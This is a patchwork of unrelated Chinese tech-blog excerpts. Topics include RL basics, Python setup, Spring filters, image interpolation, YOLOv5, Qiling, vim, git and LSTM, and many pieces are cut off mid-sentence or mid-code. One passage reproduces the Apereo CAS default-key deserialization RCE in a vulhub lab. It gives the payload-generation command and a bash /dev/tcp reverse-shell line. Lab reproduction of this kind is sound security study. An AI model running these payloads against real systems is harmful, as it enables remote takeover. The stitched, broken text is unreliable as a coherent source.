深度强化学习要点摘要 扩展资料 交叉熵:
https://blog.csdn.net/qq_38846606/article/details/111929038
https://zhuanlan.zhihu.com/p/149186719
强化学习:
https://datawhalechina.github.io/easy-rl/
https://www.bilibili.com/video/BV1UE411G78S
机器学习中梯度的意义 偏导 ∂ f ∂ θ \frac{\partial f}{\partial\theta} ∂θ∂f代表了通过调整函数 f f f的参数 θ \theta θ向梯度上升或者下降的方向移动,从而达到 f f f的极值。被偏导的函数是被优化的对象。
Overview 强化学习的整个过程由几个部分构成:
Agent:是用来代替人的自动化的决策系统。Environment:Agent的交互对象,比如,围棋游戏。Action:Agent对Environment的操作,比如,在围棋中落子。State(Observation):Agent的输入之一,代表了Agent对当前Environment的观察(是Environment的建模),Agent一般根据State来决定下一步的Action。Reward:Environment的输出,代表在根据特定State执行特定Action之后,是不是达成了需要的目标,比如,在围棋中落完子之后整盘棋是不是赢得了胜利(或失败)。 episode Agent与Environment互动过程的结束,比如,一盘围棋的结束。强化学习的过程就是要学习如何最大化在每次episode的时候的预期累计reward。
reward delay 强化学习的难点之一。reward delay有两种情况。1)对于有些场景,当Agent做出Action之后,并不是总是可以立刻得到Reward。比如围棋,在episode之前是无法知道棋局的胜负的,Environment在次期间给出的Reward都是0。也就是说在最终的结果出来之前,Agent需要在没有Reward的情况下给出Action。2)有时立刻给出Reward会使得Agent决策时目光短浅,所以刻意增加reward delay可以使Agent在做出Action时有更长远的考虑。
exploration 强化学习的难点之一。有时Agent的行为会影响到它之后从Environment看到的情况,所以Agent要有意地尝试不同的行为来对Environment进行充分的探索。
randomness in the environment 有时环境的变化和Action的作用没有关系,那么我们可以认为这是来自于环境中的随机性。
policy-based与value-based 两种强化学习的分支,前者训练一个做事的Actor,后者训练一个Critic。Critic不做任何事情,它对Actor行为进行批评。这两种方式可以结合。
policy-based approach Actor policy-based approach的训练对象,是在Agent中的一个模型,用 π \pi π表示。其以对于环境的Observation为输入,得到Action,内部的参数为 θ \theta θ。最终可以表达为 π θ ( O b s e r v a t i o n ) = A c t i o n \pi_{\theta}(Observation) = Action πθ(Observation)=Action。在深度强化学习中,Actor中的模型是一个神经网络。Observation会将Environment建模为一个矩阵或者一个向量,输出是某个Action被采用的可能性。
第一章 环境搭建 python是什么 Python是一种跨平台、开源、免费、的高级程序设计语言。
Python是面向对象、解释型、动态数据类型的高级程序设计语言。
Python是一种脚本语言
python特点 Python的设计哲学为:优雅、明确、简单 ,相比C或C++代码量大大减少,代码质量大大提高,“Life is short,you need Python” 即“人生苦短,我用Python”
Python是一种扩充强大的编程语言,拥有丰富和强大的库,Python能够把其它语言制作的各种模块轻松的链接在一起(尤其是C/C++),又称为“==胶水==”语言
其实⽬前很多知名的机器学习、⼈⼯智能以及深度学习框架也都是基于Python语⾔进⾏开发的:
Google开源机器学习框架:TensorFlow开源社区主推学习框架:Scikit-learn百度开源深度学习框架:Paddle python的版本变迁 2020 年 1 月 1 日, 停止 Python 2 的更新,Python 2.7 被确定为最后一个 Python 2.x 版本
版本对比: 注意: Python2.0对中文字符串支持性能不够好
Python2.0与3.0系列版本的开发思想相同,只有少量语法差别
由于扩展库的发行总是滞后于python版本的发行,所以有些扩展库还不支持3.0系列版本(动态变化)
版本选择应该以开发目的、使用到的扩展库、扩展库支持的最高版本为选择标准来选择python版本
Python2.0版本的代码不能直接在3.0的环境下运行,可以使用一些工具进行2.0代码与3.0代码转换,如:2to3.py等
在生产环境中,⼀般不会选择最新版本,因为可能会存在未知Bug,所以⼀般强烈建议大家在选择软件版本时,向前推1 ~ 2个版本。所以咱们课程主要讲解Python3.10版本。
搭建python的环境 python解释器 解释器下载网址:https://www.python.org/
选择安装包:Windows installer (64bit)
安装解释器:
选择Customize installation 自定义安装,建议不要选择上面的默认安装 Add Python3.8 to PATH一定要打勾,表示自动配置环境变量 Documentation(安装帮助文档) pip(安装下载python包的工具pip) td/tk and IDLE(安装Tkinter和IDLE开发环境) Python test suite (安装标准测试套件) py launcher (启动器) for all users (安装所有用户都可启动python的快捷方式) 测设安装是否成功:打开运行输入CMD启动命令行输入python :
过滤器与拦截器 Filter在 Servlet 规范中定义,依赖于Servlet容器,被Servlet容器(如Tomcat)调用;Interceptor不依赖于Servlet容器,是SpringMVC框架的一个组件,归Spring IoC容器管理调用。因此可以通过注入等方式来获取其他Bean的实例,使用更方便Filter是基于函数回调的,而Interceptor则是基于动态代理的Filter只能在请求的前后使用,而Interceptor可以详细到每个方法Filter对几乎所有的请求起作用,包括静态资源、程序中定义的Servlet等;而Interceptor只能对handler请求起作用Filter方法包括init、doFilter和destroy,Interceptor方法有preHandle、postHandle、
afterCompletionFilter不能访问handler上下文、值栈里的对象,而Interceptor可以,得益于IoC容器,虽然还没到达handler,但程序启动后就扫描好了handler 过滤器原理 Servlet容器维护过滤器链,依次将过滤器应用于request
Servlet程序:用户编写的代码,定义了 接受的请求url、接受的请求方法、接收到请求时要执行的业务逻辑等内容。也可以是图片、index.html等文件Servlet容器:运行Servlet程序的容器,是Servlet标准的实现者,如Tomcat、Undertow等,是Web容器的一种。会接收外界的http request并转发给Servlet程序。Servlet容器:运行Servlet程序的容器,是Servlet标准的实现者,如Tomcat、Undertow等,是Web容器的一种。会接收外界的http request并转发给Servlet程序。 Filter中定义了对哪些request进行拦截以及拦截的逻辑,以进行决定是否继续将请求发往Servlet程序、修改request、修改response 等操作。
多对多关系:一个Filter可作用于多个Servlet程序、也可多个Filter作用于同一Servlet程序FilterChain:由Servlet容器维护的内容,作用于同一Servlet程序的多个Filter会在request到来时被Servlet容器组装成一个FilterChain。 调用逻辑:由Servlet容器将链中的首个Filter应用到该request,还会把FilterChain对象传给该Filter,之后由当前Filter通过FilterChain对象通知下一Filter处理处理该request,后续同理
拦截器的原理 Spring IoC容器维护handler的拦截器列表【执行队列】,依次将拦截器应用于handler
传统的Java Web应用中后端可以有很多个Servlet程序,每个Servlet程序中有若干个handler;而SpringMVC中只有一个DispatcherServlet,当然允许用户也可以自己添加Servlet程序,由它将所有的请求根据请求path转发到相应的handler,项目启动时IoC容器会扫描所有的handler及应用到该handler的interceptor,因此DispatcherServlet会在转发请求到handler的前后执行interceptor的preHandl、postHandle、afterCompletion方法
过滤器和拦截器对比 过滤器是Filter调用FilterChain,FilterChain调用下一Filter的执行模式,这本质上是函数回调,要命的是函数调用栈会越来越深
过滤器是Filter调用FilterChain,FilterChain调用下一Filter的执行模式,这本质上是函数回调,要命的是函数调用栈会越来越深
不过当一个handler上有多个拦截器时,多个拦截器的执行顺序与多个filter的类似,即 L1 -> L2 ->handler -> L2 -> L1
网站安全已经是SEO优化中非常重要的一环,一旦网站被黑客入侵,就可能导致网站打不开、访问速度变慢、被挂黑链等问题,而这些问题一出现就有可能被搜索引擎拉入黑名单,导致网站被K,作为SEOer掌握最基础的网站安全防范知识是很有必要的,其主要分为两个部分:域名安全、网站安全。
我们在云服务厂商处购买类似web应用安全防火墙的产品。对于网站系统自身的安全也要做好防范,对于网站后台的登录地址尽量的避免暴露或者采取限制IP登录。以阿里云为例,我们可以在云防护平台控制台看见服务器的安全问题,也可以自行检测,还能看见服务器是否被攻击以及攻击的详细情况。
1 对于网站的代码,数据库要定期备份
网站的数据库是核心,代码或许我们在本地也存有。如果网站数据库丢失或者被篡改,我们还能使用备份的数据库更替。
2 对于网站的系统升级
如果采用的是cms内容管理系统搭建网站的,要及时跟进官方的步骤,做好安全防护,系统升级或者加装补丁。
3 服务器的权限控制
对于修改服务器上的文件数据,我们一定要做二次验证。如果不使用远程链接服务,也可将默认22端口禁用或者限制IP连接。
4 创建服务器快照
服务器稳定时,我们可以创建服务器的快照。如果因为某种原因导致服务器功能不正常或者其它不明原因导致服务器无法工作。我们可以采取系统回滚的方式恢复。
以SpringBoot3或者Spring6为基准
依赖注入 Bean注入 可以依靠@Autowired、@Resource两个注解用于Bean注入
@Autowired:Spring的注解;按类型来查找相应的实例进行注入,若还用了@Qualifier则按指定的实例名查找实例;有name、type等属性 按照类型自动装配
@Component public class UserBean { @Autowired private RoleBean role; public String toString(){ return "属性role为:"+this.role; } } @Resource:JDK1.6开始提供的注解;按实例名字查找实例
@Component public class UserBean { @Resource(name="role1") private RoleBean role; public String toString(){ return "属性role为:"+this.role; } } 2、配置文件中的参数注入到java变量:@Value
@Component public class UserBean { @Value("${abc.name}") private String name; Bean定义 根据被Spring容器发现的方式可分为两类
自动扫描:@Component,注意@Controller、@Service、@Repository三者与@Component等效,只不过在语义上更明确。@Component用在类上,声明此类是个受管Bean,会被SpringComponentScan扫描并由Spring容器自动创建实例并注册
受管bean
@Component public class RoleBean { } 配置类
@Configuration @ComponentScan //默认自动扫描所在的包及其子包中所有类,如果添加了 @Component注解 则是受管bean public class MyConfig { } 手动配置:@Configuration+@Bean前者用在类上、后者用在@Configuration修饰的类内的方法上,效果相当于xml中的beans与bean的关系;实例需要用户在@Bean修饰的方法中手动创建返回,Spring容器通过@Configuration扫描并注册其所修饰的类内的Bean
三种插值方法都是使用Python自己实现的。
1.1 最近邻插值 寻找每个中心点周围的八个点中有无未丢失的点,如果有的话就赋值为第一个找到的点,如果没有就扩大范围再次寻找,在最大范围内都找不到的话就跳过。
1.2 双线性插值 使用解方程的方法求解,整体思路类似colorization作业的实现,每个点用周围的八个点线性表示,根据距离为1和确定两个权重。四个边界上的点只会由五个邻居来表示,每个权重为0.2,线性平均求和。构建稀疏矩阵,求解,A为权重的稀疏矩阵,x为一个通道上的像素点值,b为原图中保留的像素点的值。
1.3 径向基函数插值 确定一个邻域,根据邻域内的已知点,求解出rbf函数的参数w,然后使用w和这个径向基函数对邻域内的未知点进行拟合。算法有两个超参数——邻域大小、邻域移动的步长。邻域越大、步长越小计算结果越好,但是花费时间也越长。总共实现了以下六个rbf基函数。
三种算法都实现读取RGB通道的图像,将RGB转换成YUV进行运算,最后将结果转换为RGB图像进行展示、保存和评估。之所以进行转换是因为使用YUV可以保证所有的运算都是以float类型进行的,只在开始和结束进行两次转换,可以保证计算的正确性。一开始直接使用RGB通道进行计算,结果会出现异常,如下所示(90%的丢失率), 可能是由于中间int和float的类型转换导致的,因为统一使用YUV格式计算后问题就被规避了:
另外RBF插值中如果步长过大,会导致结果分块现象明显,下面是一个极端的情况,分块之间有一个像素点未被计算:
二、随机丢点的评估 使用RBF进行插值计算非常慢,所以选择了一幅较小的图片进行连续的评估,原图如下:
2.1 肉眼观察 以下分别是丢失率从0.1到0.9的修复结果,从左向右依次是bilinear、nearest、RBF(使用multiquadric 基函数):
从上图的变化中可以看出在丢失率比较小的时候,三种算法并没有什么肉眼可见的差异,几乎都和原图相同。但是随着丢失率的上升,三种算法差异比较明显:
最近邻算法(中间)的结果变的模糊,并且有些走样,出现了原图中没有的结构双线性插值(左边)也有些模糊,但是看起来像是做过滤波平滑一样,但人脸结构都是正常的
RBF插值(右边)的结果看起来比双线性的结果要清晰一些,也没有出现太多走样,但是有一些分块的边界比较明显,应该是因为设置的步长过大。下面在丢失率为90%时使用三种算法进行还原: 都能对图像做出不错的还原效果,但是最近邻插值会产生原本图像中没有的结构。
2.2 指标变化曲线 种算法比较 在上面的测试中,三种评价指标随丢失率增长的变化曲线如下所示:
三种指标都可以看出RBF的结果最好,并且随着丢失率的增大,MSE增大、PSNR减小、SSIM减小的趋势也都是合理的。尤其是SSIM衡量结构相似性,在丢失率很小的时候三种算法都接近于1,这和上面肉眼观察的结果也是相同的。
RBF三种基函数比较
仍然是使用上面测试的那张图片,三种基函数中multiquadric和TPS的结果几乎是一模一样的,三个指标的曲线都是重合的,inverse quadric函数的结果要比另外两个差很多。
下面展示了丢失率在60%~90%时三种基函数对应的结果,很明显的可以看出inverse quadratic的效果非常差,还不如上面的最近邻插值,而另外两种基函数的结果没有太大差异,跟上面三种评价曲线的结果是一致的。
除了inverse quadratic函数之外,gaussian函数的效果也不好,这是因为修复的结果和径向基函数的系数是有关系的,而基函数中都默认为1,没有具体变化,所以导致有的基函数效果很差。
三、涂鸦、写字等破坏的评估 3.1 结果展示 对三幅图片分别进行了涂鸦、写字等破坏,修复结果如下:
显然最近邻算法的效果最差,都没能把涂鸦全都填起来,这应该是因为寻找的范围还不够大,有一些点正好处在全部都是空白的区域。另外两种的效果差不多,双线性修补结果更模糊一些,看起来效果甚至更好。
显然可以看出写字的修复效果要比画线的效果好得多,虽然一行字看着和涂鸦的宽度差不多,但是字母或者汉字并不是完全把小区域内的像素毁掉,而是留有一些缝隙,这些保留的缝隙正好可以起到很好的修复效果,所以就算是最近邻算法都有了比较好的表现。
可以看出仍然是最近邻算法的修复效果最差,尤其是对于画线的涂鸦部分,并且“董威龙”文字的部分修复效果也不好,因这个三个字笔画比较多,涂鸦效果基本和画线一样。bilinear和RBF效果差不多,涂鸦的部分虽然修复了,但是看着有一点模糊。
3.2 指标得分 以下是MSE、PSNR、SSIM三种损失评价的结果(MSE和SSIM使用Python提供的库,PSNR使用MSE结果自己计算):
MSE 图一
图二
图三
RBF
15.85
10.72
9.10
bilinear
14.42
10.96
9.29
nearest
15.68
10.79
9.07
PSNR 图一
图二
图三
RBF
36.13
37.82
38.54
目录
一、准备深度学习环境
二、 准备自己的数据集
1、创建数据集
2、转换数据格式
3、配置文件
三、模型训练
1、下载预训练模型
2、训练
四、模型测试
五、模型推理
YOLOv5训练自己的数据集整个过程主要包括:环境安装----制作数据集----模型训练----模型测试----模型推理
一、准备深度学习环境 本人的笔记本电脑系统是:Windows10
首先进入YOLOv5开源网址 ,手动下载zip或是git clone 远程仓库,本人下载的是YOLOv5的5.0版本代码,代码文件夹中会有requirements.txt文件,里面描述了所需要的安装包。
本文最终安装的pytorch版本是1.8.1,torchvision版本是0.9.1,python是3.7.10,其他的依赖库按照requirements.txt文件安装即可。
二、 准备自己的数据集 本人在训练YOLOv5时,选择的数据格式是VOC,因此下面将介绍如何将自己的数据集转换成可以直接让YOLOv5进行使用。
1、创建数据集 在YOLOv5文件夹中的data目录下创建mydata文件夹(名字可以自定义),目录结构如下,将之前labelImg标注好的xml文件和图片放到对应目录下
mydata
…images # 存放图片
…xml # 存放图片对应的xml文件
…dataSet #之后会在Main文件夹内自动生成train.txt,val.txt,test.txt和trainval.txt四个文件,存放训练集、验证集、测试集图片的名字(无后缀.jpg)
示例如下:
mydata文件夹下内容如下:
image为VOC数据集格式中的JPEGImages,内容如下: xml文件夹下面为.xml文件(标注工具采用labelImage),内容如下: dataSet 文件夹下面存放训练集、验证集、测试集的划分,通过脚本生成,可以创建一个split_train_val.py文件,代码内容如下: # coding:utf-8 import os import random import argparse parser = argparse.ArgumentParser() # xml文件的地址,根据自己的数据进行修改 xml一般存放在Annotations下 parser.add_argument('--xml_path', default='xml', type=str, help='input xml label path') # 数据集的划分,地址选择自己数据下的ImageSets/Main parser.add_argument('--txt_path', default='dataSet', type=str, help='output txt label path') opt = parser.
Qiling框架学习-Qilinglab 简介 Qiling框架是一个超轻量级的“沙盒”,适用于Linux、MacOS、Windows、FreeBSD、DOS、UEFI和MBR。它是建立在Unicorn引擎之上的二进制仿真框架,支持x86(16、32和64位)、ARM、ARM64和MIPS。麒麟框架也凭借Demigod支持Linux内核模块(.ko),微软视窗驱动(.sys)和苹果MacOS内核(.kext)。
然而,麒麟框架不是旨于构建另一个“沙盒”工具,而是为逆向工程设计的框架。因此,二进制检测和API是麒麟框架的主要及优先关注点。使用麒麟框架可以节省时间。拥有丰富API的麒麟框架将逆向工程及二进制代码检测快速的提升到了一个新的层次。
此外,麒麟框架还提供了对寄存器、内存、文件系统、操作系统和调试器的API访问。麒麟框架也提供了虚拟机级别的API,如保存和恢复执行状态。
安装 使用pip安装 pip3 install qiling 使用 pip 安装最新的开发版本 pip3 install --user https://github.com/qilingframework/qiling/archive/dev.zip 从github克隆框架手动安装 git clone https://github.com/qilingframework/qiling cd qiling python3 setup.py install 另外不要忘记初始化 rootfs。
git submodule update --init --recursive qilinglab qilinglab是一个包含十几个小挑战的程序,用于快速上手Qiling框架的主要功能。
因为平时接触到的ARM架构相对来说比较多,我这里以arm架构作为学习的开始
首先使用file指令查看下载到的qilinglab程序
基本使用模板
from qiling import * def challenge1(ql: Qiling): pass if __name__ == '__main__': path = ['qilinglab-aarch64'] # 可执行程序 rootfs = "/qiling/examples/rootfs/arm64_linux" # 机器文件系统的根 ql.verbose = 0 ql = Qiling(path, rootfs) ql.run() #如果需要其他共享库来模拟二进制文件,我们需要下载它们并将它们添加到我们的 rootfs 中 在ql.
一.环境搭建 详情可见:https://www.cnblogs.com/lihongtaoya/p/16971096.html
二.元素定位 详情可见:https://www.cnblogs.com/lihongtaoya/p/16988850.html
三.启动app基本配置 1.使用时首先导入webdriver模块
from appium import webdriver
2.通过webdriver调用Remote()完成初始化配置
driver = webdriver.Remote(command_executor="http://127.0.0.1:4723/wd/hub", desired_capabilities=desired)
其中command_executor参数一般固定为http://127.0.0.1:4723/wd/hub,desired_capabilities则为字典类型的配置。
desired = {
"platformName": "Android", # 手机系统"platformVersion": "11", # 手机系统版本"deviceName": '90bf8faf', # 连接的设备(adb devices)"automationName": "UiAutomator2", # 自动化测试框架 (1.4以上的appium不用写)"appPackage": "app包名", # app包名"appActivity": "app启动页名", # app的启动页面"autoGrantPermissions": "true", # 默认允许app获取相关权限"noReset": True # 保留登录模式
}
上述参数中是启动app的基本配置,其中app包名和页面名可通过dumpsys window|grep mCu指令来查看。
其它参数配置可参考这位大佬的博客:https://www.cnblogs.com/wysk/p/7346659.html
3.实例
from appium import webdriver
# from selenium import webdriverfrom appium.webdriver.common.appiumby import AppiumBy
desired = {
"platformName": "Android", # 手机系统"
如何在随机数生成时指定概率:轮盘赌算法的简单应用 实例 有一个数组[1,2,3,4,5]随机选一个数,使得选到1的概率为1/3,选到2的概率为4/15,选到3的概率为1/5,选到4的概率为2/15,选到5的概率为1/15。
解决方案 这里可以采用轮盘赌算法处理这种随机选取的情况。即先定义一个权重数组,权重数组中的每个值对应着原数组中的每个值的选择概率。然后通过随机数来选择权重数组中的一个值,最后根据权重数组中的值的索引来从原数组中选择对应的值。
轮盘赌算法的基本思想是将每个元素的概率分配在一个轮盘上,然后生成一个随机数,按照随机数在轮盘上的位置来选择一个元素。这样每个元素被选中的概率就等于其在轮盘上占用的比例。
轮盘赌算法是采用将生成的随机数与累计概率比较进行选择的。在代码实现中有一下两种写法。
利用选中概率计算 let array = [1,2,3,4,5]; let weight = [1/3, 4/15, 1/5, 2/15, 1/15]; let totalWeight = weight.reduce((prev, cur) => prev + cur); function random_item(array, weight) { let random_num = Math.random() * totalWeight; let weight_sum = 0; for (let i = 0; i < array.length; i++) { weight_sum += weight[i]; weight_sum = +weight_sum.toFixed(2); if (random_num < weight_sum) { return array[i]; } } } 利用累计概率计算 let array = [1,2,3,4,5]; let weight = [1/3, 4/15, 1/5, 2/15, 1/15]; let cum_weight = weight.
vim 🌴vim的概念🌴用vim创建文件🌴vim不同模式下的操作🌳vim模式转换🌲命令模式切换至插入模式🌲命令模式切换至底行模式 🌳命令模式下的指令集🌲光标移动🌲删除文字🌲复制粘贴🌲其他操作 🌳底行模式下的指令集🌲保存并退出vim🌲进行多文本编辑🌲搜索相关字符关键字🌲批量化修改字符内容 🌴vim配置🌳vim配置文件的位置 🌴vim的概念 vim的前身是vi,vim是vi的升级版本,vim兼容vi中大多数指令集,并且vim还有一些新的特性在里面。
例如:语法高亮,可以在多种操作系统下运行的编辑器。
vi和vim是多模式编辑器,在这里主要介绍vim。
vim就是单纯的编辑器,它功能强大在于它多模式下方便我们更好的编写代码。
vim模式有12种之多,常见的模式差不多有五种,分别是:命令模式、插入模式、底行模式、替换模式、视图模式
其中前三种模式是我们最常使用的,也是接下来重点介绍。
命令模式 控制屏幕光标的移动,字符、字或行的删除,移动复制某区段及进入Insert mode下,或者到 last line mode
插入模式 该模式是我们后面用的最频繁的编辑模式,只有在Insert mode下,才可以对文本进行任意文字输入编辑。
底行模式 文件保存或退出,也可以进行文件替换,找字符串,列出行号等操作,该模式下输入:help vim-modes 查看vim的所有模式
在使用vim前当然要检查你的Linux中是否下载了vim。
在Linux命令行输入vim,映入眼帘是下面这样子的话证明我们是安装了vim的
想要退出输入:q即可
若是没有进入这个界面,说明vim没有安装,我们需要在Linux中手动下载vim
yum -y install vim* 🌴用vim创建文件 通常情况下,我们是先在当前目录下用touch命令先创建一个文件,然后再用编辑器打开这个文件进行编辑文本。
有了vim之后,可以不用提前创建一个文件,当前目录下若是没有这个文件,vim后面直接加这个文件名称,视为创建该文件
例如:我们要创建一个Test.cpp的文件,我们可以直接在Linux当前目录命令行输入下面操作:
vim Test.cpp 这样的方式可以省略 touch创建文件步骤,但是这样的方式创建也是直接用vim打开了该文件,在里面我们没有编写内容的话,直接退出vim,该文件不会得到保存。
🌴vim不同模式下的操作 万事具备,我们终于可以编辑代码了,但是我们进入vim后,在键盘中输入想要的内容时却在屏幕面前没有任何反应。
脑袋不由浮出大大问号???我们便开始了胡乱输入…
混乱的输入,按倒莫名的字母后在屏幕中又有了字符输入的结果,这是为什么呢?
接下来就一一道来:
🌳vim模式转换 用vim打开一个文件时,默认所处的模式就是命令模式。该模式下,我们只有输入特定的指令集,才能在屏幕中有所反馈。
🌲命令模式切换至插入模式 上面说到我们胡乱输入后,按到某个字符可以进行编写,这是因为我们在命令模式下进入到了插入模式。
命令模式进入插入模式有三种方法:在命令模式下直接输入字母a、o、i / A、O、I
按「 i / I 」切换进入插入模式「insert mode」,按“i”进入插入模式后是从光标当前位置开始输入文件;按「a / A」进入插入模式后,是从目前光标所在位置的下一个位置开始输入文字;按「o / O」进入插入模式后,是插入新的一行,从行首开始输入文字 怎么判断自己是否进入插入模式呢?
在vim中的左下方看到如图,INSERT即是进入了插入模式
插入模式退回命令模式输入Esc键即可。
🌲命令模式切换至底行模式 上面还提到了底行模式,在vim中插入模式下我们是不能进入底行模式的,我们得先退回命令模式才能进入底行模式。
那么怎么在命令模式下进入底行模式呢?
昨天写父传子对象类型时,子接收出现了未定义错误,但其实有值,浏览器也能正常显示,搜索了一番后解决了,记录一下
ts严格模式下,定义对象后使用,可能会报对象未定义错误,
解决方案
1.关闭ts严格模式,眼不见心不烦
2.在对象前加判断 '!',使编译器知道不会未定义或为null,或者使用可选属性,简写成 '?'
将master分支代码提交到main分支 VSCode写项目时默认分支为master,而github创建repository默认为main,如何将本地的master分支提交到远程main分支上。
第一种方式:通过修改本地分支名称 修改本地分支名称 git branch -m master main 拉取main分支代码 git pull origin main 如果报错 如果本地代码没有被提交过,尝试拉取远程main分支代码时,可能会报错refusing to merge unrelated histories,这通常是因为本地分支上的代码和远程分支上的代码没有共同祖先,也就是说他们之间没有关联。
要强制合并两个不相关的历史记录
git pull origin main --allow-unrelated-histories 提交修改 git commit "your commit message" 推送到远程main分支 git push 第二种方式:先将本地master分支代码提交到远程main分支后删除本地master分支 拉取远程分支上的代码 首先,在master分支拉取远程main分支的代码。
git pull origin main 如果报错 如果本地代码没有被提交过,尝试拉取远程main分支代码时,可能会报错refusing to merge unrelated histories,这通常是因为本地分支上的代码和远程分支上的代码没有共同祖先,也就是说他们之间没有关联。
要强制合并两个不相关的历史记录
git pull origin main --allow-unrelated-histories 提交修改 git commit "your commit message" 推送到远程main分支 git push -u origin master:main 删除本地master分支 首先,切换到main分支
git checkout main 拉取代码
Spring 包含了多个功能模块,其中最重要的是 Spring-Core主要提供IoC/DI依赖注入功能的支持, Spring 中的其他模块的功能实现基本都需要依赖于该模块 Spring MVC是Spring中的一个很重要的模块,主要赋予Spring快速构建MVC架构的Web程序的能力。 MVC 是模型Model、视图View、控制器Controller的简写,其核心思想是通过将业务逻辑、数据、显示 分离来组织代码 Spring旨在简化JavaEE企业应用程序开发。Spring Boot 旨在简化Spring开发,例如减少配置文件、开 箱即用等。Spring Boot只是简化了配置,如果需要构建MVC架构的Web程序,还是需要使用Spring MVC作为MVC框架,只是说Spring Boot可以帮助简化 Spring MVC的很多配置,真正做到开箱即用 SSM开发 业务层:Spring 表现层:SpringMVC 持久层:MyBatis 在SpringBoot开发中不需要一个一个的添加依赖,完全可以使用场景启动器starter,简化依赖管理,同 时starter提供了很多的默认配置,不需要所有的模板化配置都要设置一次
问题:
我有一个从文件中读取的列表的列表。 每个内部列表的长度为6个元素,并具有3个字符串和5个浮点数。 如何将列表列表转换为numpy数组? 谢谢!
回答:
您需要一个结构化数组,该数组具有复合dtype:
清单示例清单:
In [4]: ll = [['one','two',1,1.23],['four','five',4,34.3],['six','seven',4,34.3]] 尝试创建一个常规数组,生成一个字符串数组:
In [5]: np.array(ll) Out[5]: array([['one', 'two', '1', '1.23'], ['four', 'five', '4', '34.3'], ['six', 'seven', '4', '34.3']], dtype='|S5') 但是,如果我指定一个包含两个字符串,一个int和一个float的dtype,则会得到一个一维结构化数组:
In [8]: np.array([tuple(x) for x in ll],dtype='S5,S5,i,f') Out[8]: array([('one', 'two', 1, 1.2300000190734863), ('four', 'five', 4, 34.29999923706055), ('six', 'seven', 4, 34.29999923706055)], dtype=[('f0', 'S5'), ('f1', 'S5'), ('f2', '<i4'), ('f3', '<f4')]) 请注意,我必须将内部列表转换为元组。这就是结构化数组获取其输入以及显示它的方式。它有助于将结构化的"行"与常规(2d)阵列的统一"行"区分开。
从csv文件读取时,与genfromtxt或loadtxt生成的结构化数组相同。
还有其他指定dtype的方法,还有几种其他将数据加载到这样的数组中的方法。但这是一个开始。
进一步的测试(https://stackoverflow.com/a/47774915/901925)显示此元组转换并不那么费时。简单地创建数组会花费更多时间。
补充:
我有同样的问题,但是元组是没有解决方案的。所以我发现(python 3.7.1):
ll = [['one','two',1,1.
前言 最近也是在工作中遇到这个漏洞,之前没接触过,而且这个漏洞也比较老了,是2016年发现的,并且是基于反序列化产生的,所以就打算学习并且做一下复现,如果以后再遇到的时候能够知道该如何分析。
0x01 Apereo cas简介 Apereo CAS 单点登陆系统是Java服务器环境下使用较为广泛的单点登陆系统。
CAS 全程Central Authentication Service(中心认证服务),是一个单点登录协议,Apereo CAS是实现该协议的软件包。
单点登录定义
单点登录(Single sign
on),英文名称缩写SSO,SSO的意思就是在多系统的环境中,登录单方系统,就可以在不用再次登录的情况下访问相关受信任的系统,也就是说只要登录一次单体系统就可以。
0x02 漏洞简介 最早发现此漏洞的文章:https://apereo.github.io/2016/04/08/commonsvulndisc/
漏洞成因是在4.1.7版本以前一直存在一个默认密钥问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,从而执行任意命令。
Apereo CAS 4.1.X~4.1.6 默认密钥
Apereo CAS 4.1.7~4.2.X KEY随机生成
0x03漏洞利用与复现 Webflow中使用了默认密钥changeit,所以我们就可以利用默认密钥生成序列化对象。
环境:安装了vulhub的kali
工具:apereo-cas-attack、burpsuite
Apereo-cas-attaack:使用ysoserial的CommonsCollections4生成加密后的Payload
启动vulhub中的Apereo cas环境 cd /vulhub/apereo-cas/4.1-rce
docker-compose up -d //启动docker环境
使用工具生成payload java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 “touch
/tmp/sucess”
进入主页并抓包,替换execution http://192.168.0.112:8080/cas/login
进入容器,在/tmp目录创建了success文件,说明成功利用 docker exec -it <容器ID> /bin/bash
docker ps -a //查找容器ID,一串字符串的就是ID
其他利用方式 ①反弹shell,bash -i >& /dev/tcp/ip/port 0>&1,payload如下
java -jar apereo-cas-attack-1.
目录 I. 前言II. 信息泄露和计算量的问题2.1 多次训练+多次预测2.2 单次训练+多次分解预测2.3 滑动分解构造样本2.3 总结 III. 参考文献 时间序列预测系列文章: 深入理解PyTorch中LSTM的输入和输出(从input输入到Linear输出)PyTorch搭建LSTM实现时间序列预测(负荷预测)PyTorch中利用LSTMCell搭建多层LSTM实现时间序列预测PyTorch搭建LSTM实现多变量时间序列预测(负荷预测)PyTorch搭建双向LSTM实现时间序列预测(负荷预测)PyTorch搭建LSTM实现多变量多步长时间序列预测(一):直接多输出PyTorch搭建LSTM实现多变量多步长时间序列预测(二):单步滚动预测PyTorch搭建LSTM实现多变量多步长时间序列预测(三):多模型单步预测PyTorch搭建LSTM实现多变量多步长时间序列预测(四):多模型滚动预测PyTorch搭建LSTM实现多变量多步长时间序列预测(五):seq2seqPyTorch中实现LSTM多步长时间序列预测的几种方法总结(负荷预测)PyTorch-LSTM时间序列预测中如何预测真正的未来值PyTorch搭建LSTM实现多变量输入多变量输出时间序列预测(多任务学习)PyTorch搭建ANN实现时间序列预测(风速预测)PyTorch搭建CNN实现时间序列预测(风速预测)PyTorch搭建CNN-LSTM混合模型实现多变量多步长时间序列预测(负荷预测)PyTorch搭建Transformer实现多变量多步长时间序列预测(负荷预测)PyTorch时间序列预测系列文章总结(代码使用方法)TensorFlow搭建LSTM实现时间序列预测(负荷预测)TensorFlow搭建LSTM实现多变量时间序列预测(负荷预测)TensorFlow搭建双向LSTM实现时间序列预测(负荷预测)TensorFlow搭建LSTM实现多变量多步长时间序列预测(一):直接多输出TensorFlow搭建LSTM实现多变量多步长时间序列预测(二):单步滚动预测TensorFlow搭建LSTM实现多变量多步长时间序列预测(三):多模型单步预测TensorFlow搭建LSTM实现多变量多步长时间序列预测(四):多模型滚动预测TensorFlow搭建LSTM实现多变量多步长时间序列预测(五):seq2seqTensorFlow搭建LSTM实现多变量输入多变量输出时间序列预测(多任务学习)TensorFlow搭建ANN实现时间序列预测(风速预测)TensorFlow搭建CNN实现时间序列预测(风速预测)TensorFlow搭建CNN-LSTM混合模型实现多变量多步长时间序列预测(负荷预测)PyG搭建图神经网络实现多变量输入多变量输出时间序列预测PyTorch搭建GNN-LSTM和LSTM-GNN模型实现多变量输入多变量输出时间序列预测PyG Temporal搭建STGCN实现多变量输入多变量输出时间序列预测 I. 前言 